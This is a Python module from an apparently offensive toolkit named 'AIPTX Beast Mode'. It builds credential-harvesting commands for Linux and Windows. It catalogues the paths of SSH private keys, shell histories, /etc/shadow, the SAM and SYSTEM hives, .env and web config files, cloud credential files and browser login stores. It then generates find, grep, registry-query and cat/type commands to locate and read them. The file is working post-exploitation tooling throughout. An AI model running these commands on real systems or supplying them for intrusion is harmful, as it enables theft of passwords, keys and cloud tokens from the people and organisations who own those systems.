"""
AIPTX Beast Mode - File Search Harvester
========================================

Search filesystem for credential files.
"""

from __future__ import annotations

import logging
from dataclasses import dataclass, field
from typing import Any

logger = logging.getLogger(__name__)


@dataclass
class FileSearchResult:
    """Result of a file search."""
    file_path: str
    file_type: str
    size_bytes: int
    content_preview: str
    credentials_found: int
    metadata: dict[str, Any] = field(default_factory=dict)


# Common credential file locations by category
CREDENTIAL_FILE_LOCATIONS = {
    "ssh_keys": {
        "linux": [
            "/root/.ssh/id_rsa",
            "/root/.ssh/id_ed25519",
            "/root/.ssh/id_ecdsa",
            "/home/*/.ssh/id_rsa",
            "/home/*/.ssh/id_ed25519",
            "/home/*/.ssh/authorized_keys",
        ],
        "windows": [
            "C:\\Users\\*\\.ssh\\id_rsa",
            "C:\\Users\\*\\.ssh\\id_ed25519",
        ],
    },

    "history_files": {
        "linux": [
            "/root/.bash_history",
            "/root/.zsh_history",
            "/root/.mysql_history",
            "/root/.psql_history",
            "/home/*/.bash_history",
            "/home/*/.zsh_history",
        ],
        "windows": [
            "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt",
        ],
    },

    "config_files": {
        "linux": [
            "/etc/mysql/my.cnf",
            "/etc/postgresql/*/main/pg_hba.conf",
            "/etc/redis/redis.conf",
            "/etc/mongodb.conf",
            "/etc/shadow",
            "/etc/passwd",
        ],
        "windows": [
            "C:\\Windows\\System32\\config\\SAM",
            "C:\\Windows\\System32\\config\\SYSTEM",
        ],
    },

    "web_configs": {
        "linux": [
            "/var/www/*/.env",
            "/var/www/*/wp-config.php",
            "/var/www/*/configuration.php",
            "/var/www/*/config.php",
            "/var/www/*/settings.py",
            "/opt/*/.env",
            "/srv/*/.env",
        ],
        "windows": [
            "C:\\inetpub\\wwwroot\\web.config",
            "C:\\inetpub\\wwwroot\\*.config",
        ],
    },

    "cloud_configs": {
        "linux": [
            "/root/.aws/credentials",
            "/root/.aws/config",
            "/home/*/.aws/credentials",
            "/root/.azure/accessTokens.json",
            "/root/.config/gcloud/credentials.db",
        ],
        "windows": [
            "C:\\Users\\*\\.aws\\credentials",
            "C:\\Users\\*\\.azure\\accessTokens.json",
        ],
    },

    "browser_data": {
        "linux": [
            "/home/*/.config/google-chrome/Default/Login Data",
            "/home/*/.mozilla/firefox/*/logins.json",
        ],
        "windows": [
            "C:\\Users\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",
            "C:\\Users\\*\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*\\logins.json",
        ],
    },
}


class FileSearchHarvester:
    """
    Search filesystem for credential files.

    Generates commands to find and extract credential files.
    """

    def __init__(self, os_type: str = "linux"):
        """
        Initialize file search harvester.

        Args:
            os_type: Target OS (linux, windows)
        """
        self.os_type = os_type.lower()

    def get_search_locations(
        self,
        categories: list[str] | None = None,
    ) -> list[str]:
        """
        Get file paths to search.

        Args:
            categories: Specific categories to search

        Returns:
            List of file paths/patterns
        """
        if categories is None:
            categories = list(CREDENTIAL_FILE_LOCATIONS.keys())

        paths = []
        for category in categories:
            if category in CREDENTIAL_FILE_LOCATIONS:
                cat_paths = CREDENTIAL_FILE_LOCATIONS[category].get(self.os_type, [])
                paths.extend(cat_paths)

        return paths

    def get_search_commands(
        self,
        categories: list[str] | None = None,
    ) -> list[dict[str, str]]:
        """
        Get commands to search for credential files.

        Args:
            categories: Specific categories to search

        Returns:
            List of command dicts
        """
        paths = self.get_search_locations(categories)

        if self.os_type == "linux":
            return self._get_linux_search_commands(paths)
        elif self.os_type == "windows":
            return self._get_windows_search_commands(paths)
        return []

    def _get_linux_search_commands(self, paths: list[str]) -> list[dict[str, str]]:
        """Generate Linux search commands."""
        commands = []

        # Find all credential files
        path_pattern = " -o ".join(f'-path "{p}"' for p in paths[:10])
        commands.append({
            "name": "find_credential_files",
            "command": f"find / \\( {path_pattern} \\) 2>/dev/null",
            "description": "Find common credential files",
        })

        # Search for .env files
        commands.append({
            "name": "find_env_files",
            "command": "find / -name '.env*' -type f 2>/dev/null | head -50",
            "description": "Find all .env files",
        })

        # Search for config files with credentials
        commands.append({
            "name": "grep_passwords",
            "command": "grep -r -l -i 'password\\|secret\\|api_key' /var/www /opt /etc 2>/dev/null | head -50",
            "description": "Find files containing credential keywords",
        })

        # Find writable config files
        commands.append({
            "name": "find_writable_configs",
            "command": "find /etc /var/www /opt -writable -name '*.conf' -o -name '*.cfg' -o -name '*.ini' 2>/dev/null",
            "description": "Find writable configuration files",
        })

        # Find recently modified credential files
        commands.append({
            "name": "recent_credential_files",
            "command": "find /home /root /var -mtime -7 -name '*credential*' -o -name '*secret*' -o -name '*.key' 2>/dev/null",
            "description": "Find recently modified credential files",
        })

        return commands

    def _get_windows_search_commands(self, paths: list[str]) -> list[dict[str, str]]:
        """Generate Windows search commands."""
        commands = []

        commands.append({
            "name": "find_config_files",
            "command": "dir /s /b C:\\*.config C:\\*.ini C:\\*.conf 2>nul | findstr /i \"password secret key\"",
            "description": "Find configuration files",
        })

        commands.append({
            "name": "find_web_configs",
            "command": "dir /s /b C:\\inetpub\\*.config 2>nul",
            "description": "Find IIS configuration files",
        })

        commands.append({
            "name": "search_registry",
            "command": "reg query HKLM /f password /t REG_SZ /s 2>nul",
            "description": "Search registry for passwords",
        })

        commands.append({
            "name": "find_credential_files",
            "command": "dir /s /b C:\\Users\\*credential* C:\\Users\\*password* 2>nul",
            "description": "Find credential-related files",
        })

        return commands

    def get_extraction_commands(self, file_path: str) -> list[dict[str, str]]:
        """
        Get commands to extract credentials from a specific file.

        Args:
            file_path: Path to the file

        Returns:
            List of command dicts
        """
        if self.os_type == "linux":
            return [
                {
                    "name": f"cat_{file_path}",
                    "command": f"cat '{file_path}' 2>/dev/null",
                    "description": f"Read {file_path}",
                },
                {
                    "name": f"grep_{file_path}",
                    "command": f"grep -i 'password\\|secret\\|key\\|token' '{file_path}' 2>/dev/null",
                    "description": f"Search for credentials in {file_path}",
                },
            ]
        else:
            return [
                {
                    "name": f"type_{file_path}",
                    "command": f'type "{file_path}" 2>nul',
                    "description": f"Read {file_path}",
                },
                {
                    "name": f"findstr_{file_path}",
                    "command": f'findstr /i "password secret key token" "{file_path}" 2>nul',
                    "description": f"Search for credentials in {file_path}",
                },
            ]


def search_credential_files(
    os_type: str = "linux",
    categories: list[str] | None = None,
) -> list[dict[str, str]]:
    """Convenience function to get search commands."""
    harvester = FileSearchHarvester(os_type)
    return harvester.get_search_commands(categories)


__all__ = [
    "FileSearchResult",
    "FileSearchHarvester",
    "search_credential_files",
    "CREDENTIAL_FILE_LOCATIONS",
]
